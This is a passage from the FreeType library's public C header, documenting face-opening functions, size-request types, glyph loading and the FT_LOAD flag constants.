memory_base :: The first byte of the file in memory. */ /* */ /* memory_size :: The size in bytes of the file in memory. */ /* */ /* pathname :: A pointer to an 8-bit file pathname. */ /* */ /* stream :: A handle to a source stream object. */ /* */ /* driver :: This field is exclusively used by @FT_Open_Face; */ /* it simply specifies the font driver to use for */ /* opening the face. If set to NULL, FreeType tries */ /* to load the face with each one of the drivers in */ /* its list. */ /* */ /* num_params :: The number of extra parameters. */ /* */ /* params :: Extra parameters passed to the font driver when */ /* opening a new face. */ /* */ /* <Note> */ /* The stream type is determined by the contents of `flags' that */ /* are tested in the following order by @FT_Open_Face: */ /* */ /* If the @FT_OPEN_MEMORY bit is set, assume that this is a */ /* memory file of `memory_size' bytes, located at `memory_address'. */ /* The data are not copied, and the client is responsible for */ /* releasing and destroying them _after_ the corresponding call to */ /* @FT_Done_Face. */ /* */ /* Otherwise, if the @FT_OPEN_STREAM bit is set, assume that a */ /* custom input stream `stream' is used. */ /* */ /* Otherwise, if the @FT_OPEN_PATHNAME bit is set, assume that this */ /* is a normal file and use `pathname' to open it. */ /* */ /* If the @FT_OPEN_DRIVER bit is set, @FT_Open_Face only tries to */ /* open the file with the driver whose handler is in `driver'. */ /* */ /* If the @FT_OPEN_PARAMS bit is set, the parameters given by */ /* `num_params' and `params' is used. They are ignored otherwise. */ /* */ /* Ideally, both the `pathname' and `params' fields should be tagged */ /* as `const'; this is missing for API backward compatibility. In */ /* other words, applications should treat them as read-only. */ /* */ typedef struct FT_Open_Args_ { FT_UInt flags; const FT_Byte* memory_base; FT_Long memory_size; FT_String* pathname; FT_Stream stream; FT_Module driver; FT_Int num_params; FT_Parameter* params; } FT_Open_Args; /*************************************************************************/ /* */ /* <Function> */ /* FT_New_Face */ /* */ /* <Description> */ /* Call @FT_Open_Face to open a font by its pathname. */ /* */ /* <InOut> */ /* library :: A handle to the library resource. */ /* */ /* <Input> */ /* pathname :: A path to the font file. */ /* */ /* face_index :: See @FT_Open_Face for a detailed description of this */ /* parameter. */ /* */ /* <Output> */ /* aface :: A handle to a new face object. If `face_index' is */ /* greater than or equal to zero, it must be non-NULL. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* Use @FT_Done_Face to destroy the created @FT_Face object (along */ /* with its slot and sizes). */ /* */ FT_EXPORT( FT_Error ) FT_New_Face( FT_Library library, const char* filepathname, FT_Long face_index, FT_Face *aface ); /*************************************************************************/ /* */ /* <Function> */ /* FT_New_Memory_Face */ /* */ /* <Description> */ /* Call @FT_Open_Face to open a font that has been loaded into */ /* memory. */ /* */ /* <InOut> */ /* library :: A handle to the library resource. */ /* */ /* <Input> */ /* file_base :: A pointer to the beginning of the font data. */ /* */ /* file_size :: The size of the memory chunk used by the font data. */ /* */ /* face_index :: See @FT_Open_Face for a detailed description of this */ /* parameter. */ /* */ /* <Output> */ /* aface :: A handle to a new face object. If `face_index' is */ /* greater than or equal to zero, it must be non-NULL. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* You must not deallocate the memory before calling @FT_Done_Face. */ /* */ FT_EXPORT( FT_Error ) FT_New_Memory_Face( FT_Library library, const FT_Byte* file_base, FT_Long file_size, FT_Long face_index, FT_Face *aface ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Open_Face */ /* */ /* <Description> */ /* Create a face object from a given resource described by */ /* @FT_Open_Args. */ /* */ /* <InOut> */ /* library :: A handle to the library resource. */ /* */ /* <Input> */ /* args :: A pointer to an `FT_Open_Args' structure that must */ /* be filled by the caller. */ /* */ /* face_index :: This field holds two different values. Bits 0-15 */ /* are the index of the face in the font file (starting */ /* with value~0). Set it to~0 if there is only one */ /* face in the font file. */ /* */ /* [Since 2.6.1] Bits 16-30 are relevant to GX and */ /* OpenType variation fonts only, specifying the named */ /* instance index for the current face index (starting */ /* with value~1; value~0 makes FreeType ignore named */ /* instances). For non-variation fonts, bits 16-30 are */ /* ignored. Assuming that you want to access the third */ /* named instance in face~4, `face_index' should be set */ /* to 0x00030004. If you want to access face~4 without */ /* variation handling, simply set `face_index' to */ /* value~4. */ /* */ /* `FT_Open_Face' and its siblings can be used to */ /* quickly check whether the font format of a given */ /* font resource is supported by FreeType. In general, */ /* if the `face_index' argument is negative, the */ /* function's return value is~0 if the font format is */ /* recognized, or non-zero otherwise. The function */ /* allocates a more or less empty face handle in */ /* `*aface' (if `aface' isn't NULL); the only two */ /* useful fields in this special case are */ /* `face->num_faces' and `face->style_flags'. For any */ /* negative value of `face_index', `face->num_faces' */ /* gives the number of faces within the font file. For */ /* the negative value `-(N+1)' (with `N' a non-negative */ /* 16-bit value), bits 16-30 in `face->style_flags' */ /* give the number of named instances in face `N' if we */ /* have a variation font (or zero otherwise). After */ /* examination, the returned @FT_Face structure should */ /* be deallocated with a call to @FT_Done_Face. */ /* */ /* <Output> */ /* aface :: A handle to a new face object. If `face_index' is */ /* greater than or equal to zero, it must be non-NULL. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* Unlike FreeType 1.x, this function automatically creates a glyph */ /* slot for the face object that can be accessed directly through */ /* `face->glyph'. */ /* */ /* Each new face object created with this function also owns a */ /* default @FT_Size object, accessible as `face->size'. */ /* */ /* One @FT_Library instance can have multiple face objects, this is, */ /* @FT_Open_Face and its siblings can be called multiple times using */ /* the same `library' argument. */ /* */ /* See the discussion of reference counters in the description of */ /* @FT_Reference_Face. */ /* */ /* To loop over all faces, use code similar to the following snippet */ /* (omitting the error handling). */ /* */ /* { */ /* ... */ /* FT_Face face; */ /* FT_Long i, num_faces; */ /* */ /* */ /* error = FT_Open_Face( library, args, -1, &face ); */ /* if ( error ) { ... } */ /* */ /* num_faces = face->num_faces; */ /* FT_Done_Face( face ); */ /* */ /* for ( i = 0; i < num_faces; i++ ) */ /* { */ /* ... */ /* error = FT_Open_Face( library, args, i, &face ); */ /* ... */ /* FT_Done_Face( face ); */ /* ... */ /* } */ /* } */ /* */ /* To loop over all valid values for `face_index', use something */ /* similar to the following snippet, again without error handling. */ /* The code accesses all faces immediately (thus only a single call */ /* of `FT_Open_Face' within the do-loop), with and without named */ /* instances. */ /* */ /* { */ /* ... */ /* FT_Face face; */ /* */ /* FT_Long num_faces = 0; */ /* FT_Long num_instances = 0; */ /* */ /* FT_Long face_idx = 0; */ /* FT_Long instance_idx = 0; */ /* */ /* */ /* do */ /* { */ /* FT_Long id = ( instance_idx << 16 ) + face_idx; */ /* */ /* */ /* error = FT_Open_Face( library, args, id, &face ); */ /* if ( error ) { ... } */ /* */ /* num_faces = face->num_faces; */ /* num_instances = face->style_flags >> 16; */ /* */ /* ... */ /* */ /* FT_Done_Face( face ); */ /* */ /* if ( instance_idx < num_instances ) */ /* instance_idx++; */ /* else */ /* { */ /* face_idx++; */ /* instance_idx = 0; */ /* } */ /* */ /* } while ( face_idx < num_faces ) */ /* } */ /* */ FT_EXPORT( FT_Error ) FT_Open_Face( FT_Library library, const FT_Open_Args* args, FT_Long face_index, FT_Face *aface ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Attach_File */ /* */ /* <Description> */ /* Call @FT_Attach_Stream to attach a file. */ /* */ /* <InOut> */ /* face :: The target face object. */ /* */ /* <Input> */ /* filepathname :: The pathname. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ FT_EXPORT( FT_Error ) FT_Attach_File( FT_Face face, const char* filepathname ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Attach_Stream */ /* */ /* <Description> */ /* `Attach' data to a face object. Normally, this is used to read */ /* additional information for the face object. For example, you can */ /* attach an AFM file that comes with a Type~1 font to get the */ /* kerning values and other metrics. */ /* */ /* <InOut> */ /* face :: The target face object. */ /* */ /* <Input> */ /* parameters :: A pointer to @FT_Open_Args that must be filled by */ /* the caller. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* The meaning of the `attach' (i.e., what really happens when the */ /* new file is read) is not fixed by FreeType itself. It really */ /* depends on the font format (and thus the font driver). */ /* */ /* Client applications are expected to know what they are doing */ /* when invoking this function. Most drivers simply do not implement */ /* file or stream attachments. */ /* */ FT_EXPORT( FT_Error ) FT_Attach_Stream( FT_Face face, FT_Open_Args* parameters ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Reference_Face */ /* */ /* <Description> */ /* A counter gets initialized to~1 at the time an @FT_Face structure */ /* is created. This function increments the counter. @FT_Done_Face */ /* then only destroys a face if the counter is~1, otherwise it simply */ /* decrements the counter. */ /* */ /* This function helps in managing life-cycles of structures that */ /* reference @FT_Face objects. */ /* */ /* <Input> */ /* face :: A handle to a target face object. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Since> */ /* 2.4.2 */ /* */ FT_EXPORT( FT_Error ) FT_Reference_Face( FT_Face face ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Done_Face */ /* */ /* <Description> */ /* Discard a given face object, as well as all of its child slots and */ /* sizes. */ /* */ /* <Input> */ /* face :: A handle to a target face object. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* See the discussion of reference counters in the description of */ /* @FT_Reference_Face. */ /* */ FT_EXPORT( FT_Error ) FT_Done_Face( FT_Face face ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Select_Size */ /* */ /* <Description> */ /* Select a bitmap strike. To be more precise, this function sets */ /* the scaling factors of the active @FT_Size object in a face so */ /* that bitmaps from this particular strike are taken by */ /* @FT_Load_Glyph and friends. */ /* */ /* <InOut> */ /* face :: A handle to a target face object. */ /* */ /* <Input> */ /* strike_index :: The index of the bitmap strike in the */ /* `available_sizes' field of @FT_FaceRec structure. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* For bitmaps embedded in outline fonts it is common that only a */ /* subset of the available glyphs at a given ppem value is available. */ /* FreeType silently uses outlines if there is no bitmap for a given */ /* glyph index. */ /* */ /* For GX and OpenType variation fonts, a bitmap strike makes sense */ /* only if the default instance is active (this is, no glyph */ /* variation takes place); otherwise, FreeType simply ignores bitmap */ /* strikes. The same is true for all named instances that are */ /* different from the default instance. */ /* */ /* Don't use this function if you are using the FreeType cache API. */ /* */ FT_EXPORT( FT_Error ) FT_Select_Size( FT_Face face, FT_Int strike_index ); /*************************************************************************/ /* */ /* <Enum> */ /* FT_Size_Request_Type */ /* */ /* <Description> */ /* An enumeration type that lists the supported size request types, */ /* i.e., what input size (in font units) maps to the requested output */ /* size (in pixels, as computed from the arguments of */ /* @FT_Size_Request). */ /* */ /* <Values> */ /* FT_SIZE_REQUEST_TYPE_NOMINAL :: */ /* The nominal size. The `units_per_EM' field of @FT_FaceRec is */ /* used to determine both scaling values. */ /* */ /* This is the standard scaling found in most applications. In */ /* particular, use this size request type for TrueType fonts if */ /* they provide optical scaling or something similar. Note, */ /* however, that `units_per_EM' is a rather abstract value which */ /* bears no relation to the actual size of the glyphs in a font. */ /* */ /* FT_SIZE_REQUEST_TYPE_REAL_DIM :: */ /* The real dimension. The sum of the `ascender' and (minus of) */ /* the `descender' fields of @FT_FaceRec is used to determine both */ /* scaling values. */ /* */ /* FT_SIZE_REQUEST_TYPE_BBOX :: */ /* The font bounding box. The width and height of the `bbox' field */ /* of @FT_FaceRec are used to determine the horizontal and vertical */ /* scaling value, respectively. */ /* */ /* FT_SIZE_REQUEST_TYPE_CELL :: */ /* The `max_advance_width' field of @FT_FaceRec is used to */ /* determine the horizontal scaling value; the vertical scaling */ /* value is determined the same way as */ /* @FT_SIZE_REQUEST_TYPE_REAL_DIM does. Finally, both scaling */ /* values are set to the smaller one. This type is useful if you */ /* want to specify the font size for, say, a window of a given */ /* dimension and 80x24 cells. */ /* */ /* FT_SIZE_REQUEST_TYPE_SCALES :: */ /* Specify the scaling values directly. */ /* */ /* <Note> */ /* The above descriptions only apply to scalable formats. For bitmap */ /* formats, the behaviour is up to the driver. */ /* */ /* See the note section of @FT_Size_Metrics if you wonder how size */ /* requesting relates to scaling values. */ /* */ typedef enum FT_Size_Request_Type_ { FT_SIZE_REQUEST_TYPE_NOMINAL, FT_SIZE_REQUEST_TYPE_REAL_DIM, FT_SIZE_REQUEST_TYPE_BBOX, FT_SIZE_REQUEST_TYPE_CELL, FT_SIZE_REQUEST_TYPE_SCALES, FT_SIZE_REQUEST_TYPE_MAX } FT_Size_Request_Type; /*************************************************************************/ /* */ /* <Struct> */ /* FT_Size_RequestRec */ /* */ /* <Description> */ /* A structure to model a size request. */ /* */ /* <Fields> */ /* type :: See @FT_Size_Request_Type. */ /* */ /* width :: The desired width, given as a 26.6 fractional */ /* point value (with 72pt = 1in). */ /* */ /* height :: The desired height, given as a 26.6 fractional */ /* point value (with 72pt = 1in). */ /* */ /* horiResolution :: The horizontal resolution (dpi, i.e., pixels per */ /* inch). If set to zero, `width' is treated as a */ /* 26.6 fractional *pixel* value, which gets */ /* internally rounded to an integer. */ /* */ /* vertResolution :: The vertical resolution (dpi, i.e., pixels per */ /* inch). If set to zero, `height' is treated as a */ /* 26.6 fractional *pixel* value, which gets */ /* internally rounded to an integer. */ /* */ /* <Note> */ /* If `width' is zero, the horizontal scaling value is set equal */ /* to the vertical scaling value, and vice versa. */ /* */ /* If `type' is FT_SIZE_REQUEST_TYPE_SCALES, `width' and `height' are */ /* interpreted directly as 16.16 fractional scaling values, without */ /* any further modification, and both `horiResolution' and */ /* `vertResolution' are ignored. */ /* */ typedef struct FT_Size_RequestRec_ { FT_Size_Request_Type type; FT_Long width; FT_Long height; FT_UInt horiResolution; FT_UInt vertResolution; } FT_Size_RequestRec; /*************************************************************************/ /* */ /* <Struct> */ /* FT_Size_Request */ /* */ /* <Description> */ /* A handle to a size request structure. */ /* */ typedef struct FT_Size_RequestRec_ *FT_Size_Request; /*************************************************************************/ /* */ /* <Function> */ /* FT_Request_Size */ /* */ /* <Description> */ /* Resize the scale of the active @FT_Size object in a face. */ /* */ /* <InOut> */ /* face :: A handle to a target face object. */ /* */ /* <Input> */ /* req :: A pointer to a @FT_Size_RequestRec. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* Although drivers may select the bitmap strike matching the */ /* request, you should not rely on this if you intend to select a */ /* particular bitmap strike. Use @FT_Select_Size instead in that */ /* case. */ /* */ /* The relation between the requested size and the resulting glyph */ /* size is dependent entirely on how the size is defined in the */ /* source face. The font designer chooses the final size of each */ /* glyph relative to this size. For more information refer to */ /* `https://www.freetype.org/freetype2/docs/glyphs/glyphs-2.html'. */ /* */ /* Contrary to @FT_Set_Char_Size, this function doesn't have special */ /* code to normalize zero-valued widths, heights, or resolutions */ /* (which lead to errors in most cases). */ /* */ /* Don't use this function if you are using the FreeType cache API. */ /* */ FT_EXPORT( FT_Error ) FT_Request_Size( FT_Face face, FT_Size_Request req ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Set_Char_Size */ /* */ /* <Description> */ /* Call @FT_Request_Size to request the nominal size (in points). */ /* */ /* <InOut> */ /* face :: A handle to a target face object. */ /* */ /* <Input> */ /* char_width :: The nominal width, in 26.6 fractional points. */ /* */ /* char_height :: The nominal height, in 26.6 fractional points. */ /* */ /* horz_resolution :: The horizontal resolution in dpi. */ /* */ /* vert_resolution :: The vertical resolution in dpi. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* While this function allows fractional points as input values, the */ /* resulting ppem value for the given resolution is always rounded to */ /* the nearest integer. */ /* */ /* If either the character width or height is zero, it is set equal */ /* to the other value. */ /* */ /* If either the horizontal or vertical resolution is zero, it is set */ /* equal to the other value. */ /* */ /* A character width or height smaller than 1pt is set to 1pt; if */ /* both resolution values are zero, they are set to 72dpi. */ /* */ /* Don't use this function if you are using the FreeType cache API. */ /* */ FT_EXPORT( FT_Error ) FT_Set_Char_Size( FT_Face face, FT_F26Dot6 char_width, FT_F26Dot6 char_height, FT_UInt horz_resolution, FT_UInt vert_resolution ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Set_Pixel_Sizes */ /* */ /* <Description> */ /* Call @FT_Request_Size to request the nominal size (in pixels). */ /* */ /* <InOut> */ /* face :: A handle to the target face object. */ /* */ /* <Input> */ /* pixel_width :: The nominal width, in pixels. */ /* */ /* pixel_height :: The nominal height, in pixels. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* You should not rely on the resulting glyphs matching or being */ /* constrained to this pixel size. Refer to @FT_Request_Size to */ /* understand how requested sizes relate to actual sizes. */ /* */ /* Don't use this function if you are using the FreeType cache API. */ /* */ FT_EXPORT( FT_Error ) FT_Set_Pixel_Sizes( FT_Face face, FT_UInt pixel_width, FT_UInt pixel_height ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Load_Glyph */ /* */ /* <Description> */ /* Load a glyph into the glyph slot of a face object. */ /* */ /* <InOut> */ /* face :: A handle to the target face object where the glyph */ /* is loaded. */ /* */ /* <Input> */ /* glyph_index :: The index of the glyph in the font file. For */ /* CID-keyed fonts (either in PS or in CFF format) */ /* this argument specifies the CID value. */ /* */ /* load_flags :: A flag indicating what to load for this glyph. The */ /* @FT_LOAD_XXX constants can be used to control the */ /* glyph loading process (e.g., whether the outline */ /* should be scaled, whether to load bitmaps or not, */ /* whether to hint the outline, etc). */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* The loaded glyph may be transformed. See @FT_Set_Transform for */ /* the details. */ /* */ /* For subsetted CID-keyed fonts, `FT_Err_Invalid_Argument' is */ /* returned for invalid CID values (this is, for CID values that */ /* don't have a corresponding glyph in the font). See the discussion */ /* of the @FT_FACE_FLAG_CID_KEYED flag for more details. */ /* */ /* If you receive `FT_Err_Glyph_Too_Big', try getting the glyph */ /* outline at EM size, then scale it manually and fill it as a */ /* graphics operation. */ /* */ FT_EXPORT( FT_Error ) FT_Load_Glyph( FT_Face face, FT_UInt glyph_index, FT_Int32 load_flags ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Load_Char */ /* */ /* <Description> */ /* Load a glyph into the glyph slot of a face object, accessed by its */ /* character code. */ /* */ /* <InOut> */ /* face :: A handle to a target face object where the glyph */ /* is loaded. */ /* */ /* <Input> */ /* char_code :: The glyph's character code, according to the */ /* current charmap used in the face. */ /* */ /* load_flags :: A flag indicating what to load for this glyph. The */ /* @FT_LOAD_XXX constants can be used to control the */ /* glyph loading process (e.g., whether the outline */ /* should be scaled, whether to load bitmaps or not, */ /* whether to hint the outline, etc). */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* This function simply calls @FT_Get_Char_Index and @FT_Load_Glyph. */ /* */ /* Many fonts contain glyphs that can't be loaded by this function */ /* since its glyph indices are not listed in any of the font's */ /* charmaps. */ /* */ /* If no active cmap is set up (i.e., `face->charmap' is zero), the */ /* call to @FT_Get_Char_Index is omitted, and the function behaves */ /* identically to @FT_Load_Glyph. */ /* */ FT_EXPORT( FT_Error ) FT_Load_Char( FT_Face face, FT_ULong char_code, FT_Int32 load_flags ); /************************************************************************* * * @enum: * FT_LOAD_XXX * * @description: * A list of bit field constants for @FT_Load_Glyph to indicate what * kind of operations to perform during glyph loading. * * @values: * FT_LOAD_DEFAULT :: * Corresponding to~0, this value is used as the default glyph load * operation. In this case, the following happens: * * 1. FreeType looks for a bitmap for the glyph corresponding to the * face's current size. If one is found, the function returns. * The bitmap data can be accessed from the glyph slot (see note * below). * * 2. If no embedded bitmap is searched for or found, FreeType looks * for a scalable outline. If one is found, it is loaded from * the font file, scaled to device pixels, then `hinted' to the * pixel grid in order to optimize it. The outline data can be * accessed from the glyph slot (see note below). * * Note that by default the glyph loader doesn't render outlines into * bitmaps. The following flags are used to modify this default * behaviour to more specific and useful cases. * * FT_LOAD_NO_SCALE :: * Don't scale the loaded outline glyph but keep it in font units. * * This flag implies @FT_LOAD_NO_HINTING and @FT_LOAD_NO_BITMAP, and * unsets @FT_LOAD_RENDER. * * If the font is `tricky' (see @FT_FACE_FLAG_TRICKY for more), using * FT_LOAD_NO_SCALE usually yields meaningless outlines because the * subglyphs must be scaled and positioned with hinting instructions. * This can be solved by loading the font without FT_LOAD_NO_SCALE and * setting the character size to `font->units_per_EM'. * * FT_LOAD_NO_HINTING :: * Disable hinting. This generally generates `blurrier' bitmap glyphs * when the glyph are rendered in any of the anti-aliased modes. See * also the note below. * * This flag is implied by @FT_LOAD_NO_SCALE. * * FT_LOAD_RENDER :: * Call @FT_Render_Glyph after the glyph is loaded. By default, the * glyph is rendered in @FT_RENDER_MODE_NORMAL mode. This can be * overridden by @FT_LOAD_TARGET_XXX or @FT_LOAD_MONOCHROME. * * This flag is unset by @FT_LOAD_NO_SCALE. * * FT_LOAD_NO_BITMAP :: * Ignore bitmap strikes when loading. Bitmap-only fonts ignore this * flag. * * @FT_LOAD_NO_SCALE always sets this flag. * * FT_LOAD_VERTICAL_LAYOUT :: * Load the glyph for vertical text layout. In particular, the * `advance' value in the @FT_GlyphSlotRec structure is set to the * `vertAdvance' value of the `metrics' field. * * In case @FT_HAS_VERTICAL doesn't return true, you shouldn't use * this flag currently. Reason is that in this case vertical metrics * get synthesized, and those values are not always consistent across * various font formats. * * FT_LOAD_FORCE_AUTOHINT :: * Prefer the auto-hinter over the font's native hinter. See also * the note below. * * FT_LOAD_PEDANTIC :: * Make the font driver perform pedantic verifications during glyph * loading. This is mostly used to detect broken glyphs in fonts. * By default, FreeType tries to handle broken fonts also. * * In particular, errors from the TrueType bytecode engine are not * passed to the application if this flag is not set; this might * result in partially hinted or distorted glyphs in case a glyph's * bytecode is buggy. * * FT_LOAD_NO_RECURSE :: * Don't load composite glyphs recursively. Instead, the font * driver should set the `num_subglyph' and `subglyphs' values of * the glyph slot accordingly, and set `glyph->format' to * @FT_GLYPH_FORMAT_COMPOSITE. The description of subglyphs can * then be accessed with @FT_Get_SubGlyph_Info. * * This flag implies @FT_LOAD_NO_SCALE and @FT_LOAD_IGNORE_TRANSFORM. * * FT_LOAD_IGNORE_TRANSFORM :: * Ignore the transform matrix set by @FT_Set_Transform. * * FT_LOAD_MONOCHROME :: * This flag is used with @FT_LOAD_RENDER to indicate that you want to * render an outline glyph to a 1-bit monochrome bitmap glyph, with * 8~pixels packed into each byte of the bitmap data. * * Note that this has no effect on the hinting algorithm used. You * should rather use @FT_LOAD_TARGET_MONO so that the * monochrome-optimized hinting algorithm is used. * * FT_LOAD_LINEAR_DESIGN :: * Keep `linearHoriAdvance' and `linearVertAdvance' fields of * @FT_GlyphSlotRec in font units. See @FT_GlyphSlotRec for * details. * * FT_LOAD_NO_AUTOHINT :: * Disable the auto-hinter. See also the note below. * * FT_LOAD_COLOR :: * [Since 2.5] Load embedded color bitmap images. The resulting color * bitmaps, if available, will have the @FT_PIXEL_MODE_BGRA format. * If the flag is not set and color bitmaps are found, they are * converted to 256-level gray bitmaps transparently, using the * @FT_PIXEL_MODE_GRAY format. * * FT_LOAD_COMPUTE_METRICS :: * [Since 2.6.1] Compute glyph metrics from the glyph data, without * the use of bundled metrics tables (for example, the `hdmx' table in * TrueType fonts). This flag is mainly used by font validating or * font editing applications, which need to ignore, verify, or edit * those tables. * * Currently, this flag is only implemented for TrueType fonts. * * FT_LOAD_BITMAP_METRICS_ONLY :: * [Since 2.7.1] Request loading of the metrics and bitmap image * information of a (possibly embedded) bitmap glyph without * allocating or copying the bitmap image data itself. No effect if * the target glyph is not a bitmap image. * * This flag unsets @FT_LOAD_RENDER. * * FT_LOAD_CROP_BITMAP :: * Ignored. Deprecated. * * FT_LOAD_IGNORE_GLOBAL_ADVANCE_WIDTH :: * Ignored. Deprecated. * * @note: * By default, hinting is enabled and the font's native hinter (see * @FT_FACE_FLAG_HINTER) is preferred over the auto-hinter. You can * disable hinting by setting @FT_LOAD_NO_HINTING or change the * precedence by setting @FT_LOAD_FORCE_AUTOHINT. You can also set * @FT_LOAD_NO_AUTOHINT in case you don't want the auto-hinter to be * used at all. * * See the description of @FT_FACE_FLAG_TRICKY for a special exception * (affecting only a handful of Asian fonts). * * Besides deciding which hinter to use, you can also decide which * hinting algorithm to use. See @FT_LOAD_TARGET_XXX for details. * * Note that the auto-hinter needs a valid Unicode cmap (either a native * one or synthesized by FreeType) for producing correct results. If a * font provides an incorrect mapping (for example, assigning the * character code U+005A, LATIN CAPITAL LETTER Z, to a glyph depicting a * mathematical integral sign), the auto-hinter might produce useless * results. * */ #define FT_LOAD_DEFAULT 0x0 #define FT_LOAD_NO_SCALE ( 1L << 0 ) #define FT_LOAD_NO_HINTING ( 1L << 1 ) #define FT_LOAD_RENDER ( 1L << 2 ) #define FT_LOAD_NO_BITMAP ( 1L << 3 ) #define FT_LOAD_VERTICAL_LAYOUT ( 1L << 4 ) #define FT_LOAD_FORCE_AUTOHINT ( 1L << 5 ) #define FT_LOAD_CROP_BITMAP ( 1L << 6 ) #define FT_LOAD_PEDANTIC ( 1L << 7 ) #define FT_LOAD_IGNORE_GLOBAL_ADVANCE_WIDTH ( 1L << 9 ) #define FT_LOAD_NO_RECURSE ( 1L << 10 ) #define FT_LOAD_IGNORE_TRANSFORM ( 1L << 11 ) #define FT_LOAD_MONOCHROME ( 1L << 12 ) #define FT_LOAD_LINEAR_DESIGN ( 1L << 13 ) #define FT_LOAD_NO_AUTOHINT ( 1L << 15 ) /* Bits 16-19 are used by `FT_LOAD_TARGET_' */ #define FT_LOAD_COLOR ( 1L << 20 ) #define FT_LOAD_COMPUTE_METRICS ( 1L << 21 ) #define FT_LOAD_BITMAP_METRICS_ONLY ( 1L << 22 ) /* */ /* used internally only by certain font drivers */ #define FT_LOAD_ADVANCE_ONLY ( 1L << 8 ) #define FT_LOAD_SBITS_ONLY ( 1L << 14 ) /************************************************************************** * * @enum: * FT_LOAD_TARGET_XXX * * @description: * A list of values to select a specific hinting algorithm for the * hinter. You should OR one of these values to your `load_flags' * when calling @FT_Load_Glyph. * * Note that a font's native hinters may ignore the hinting algorithm * you have specified (e.g., the TrueType bytecode interpreter). You * can set @FT_LOAD_FORCE_AUTOHINT to ensure that the auto-hinter is * used. * * @values: * FT_LOAD_TARGET_NORMAL :: * The default hinting algorithm, optimized for standard gray-level * rendering. For monochrome output, use @FT_LOAD_TARGET_MONO * instead. * * FT_LOAD_TARGET_LIGHT :: * A lighter hinting algorithm for gray-level modes. Many generated * glyphs are fuzzier but better resemble their original shape. This * is achieved by snapping glyphs to the pixel grid only vertically * (Y-axis), as is done by FreeType's new CFF engine or Microsoft's * ClearType font renderer. This preserves inter-glyph spacing in * horizontal text. The snapping is done either by the native font * driver, if the driver itself and the font support it, or by the * auto-hinter. * * Advance widths are rounded to integer values; however, using the * `lsb_delta' and `rsb_delta' fields of @FT_GlyphSlotRec, it is * possible to get fractional advance widths for subpixel positioning * (which is recommended to use). * * If configuration option AF_CONFIG_OPTION_TT_SIZE_METRICS is active, * TrueType-like metrics are used to make this mode behave similarly * as in unpatched FreeType versions between 2.4.6 and 2.7.1 * (inclusive). * * FT_LOAD_TARGET_MONO :: * Strong hinting algorithm that should only be used for monochrome * output. The result is probably unpleasant if the glyph is rendered * in non-monochrome modes. * * FT_LOAD_TARGET_LCD :: * A variant of @FT_LOAD_TARGET_LIGHT optimized for horizontally * decimated LCD displays. * * FT_LOAD_TARGET_LCD_V :: * A variant of @FT_LOAD_TARGET_NORMAL optimized for vertically * decimated LCD displays. * * @note: * You should use only _one_ of the FT_LOAD_TARGET_XXX values in your * `load_flags'. They can't be ORed. * * If @FT_LOAD_RENDER is also set, the glyph is rendered in the * corresponding mode (i.e., the mode that matches the used algorithm * best). An exception is FT_LOAD_TARGET_MONO since it implies * @FT_LOAD_MONOCHROME. * * You can use a hinting algorithm that doesn't correspond to the same * rendering mode. As an example, it is possible to use the `light' * hinting algorithm and have the results rendered in horizontal LCD * pixel mode, with code like * * { * FT_Load_Glyph( face, glyph_index, * load_flags | FT_LOAD_TARGET_LIGHT ); * * FT_Render_Glyph( face->glyph, FT_RENDER_MODE_LCD ); * } * * In general, you should stick with one rendering mode. For example, * switching between @FT_LOAD_TARGET_NORMAL and @FT_LOAD_TARGET_MONO * enforces a lot of recomputation for TrueType fonts, which is slow. * Another reason is caching: Selecting a different mode usually causes * changes in both the outlines and the rasterized bitmaps; it is thus * necessary to empty the cache after a mode switch to avoid false hits. * */ #define FT_LOAD_TARGET_( x ) ( (FT_Int32)( (x) & 15 ) << 16 ) #define FT_LOAD_TARGET_NORMAL FT_LOAD_TARGET_( FT_RENDER_MODE_NORMAL ) #define FT_LOAD_TARGET_LIGHT FT_LOAD_TARGET_( FT_RENDER_MODE_LIGHT ) #define FT_LOAD_TARGET_MONO FT_LOAD_TARGET_( FT_RENDER_MODE_MONO ) #define FT_LOAD_TARGET_LCD FT_LOAD_TARGET_( FT_RENDER_MODE_LCD ) #define FT_LOAD_TARGET_LCD_V FT_LOAD_TARGET_( FT_RENDER_MODE_LCD_V ) /************************************************************************** * * @macro: * FT_LOAD_TARGET_MODE * * @description: * Return the @FT_Render_Mode corresponding to a given * @FT_LOAD_TARGET_XXX value. * */ #define FT_LOAD_TARGET_MODE( x ) ( (FT_Render_Mode)( ( (x) >> 16 ) & 15 ) ) /*************************************************************************/ /* */ /* <Function> */ /* FT_Set_Transform */ /* */ /* <Description> */ /* Set the transformation that is applied to glyph images when they */ /* are loaded into a glyph slot through @FT_Load_Glyph. */ /* */ /* <InOut> */ /* face :: A handle to the source face object. */ /* */ /* <Input> */ /* matrix :: A pointer to the transformation's 2x2 matrix. Use NULL */ /* for the identity matrix. */ /* delta :: A pointer to the translation vector. Use NULL for the */ /* null vector. */ /* */ /* <Note> */ /* The transformation is only applied to scalable image formats after */ /* the glyph has been loaded. It means that hinting is unaltered by */ /* the transformation and is 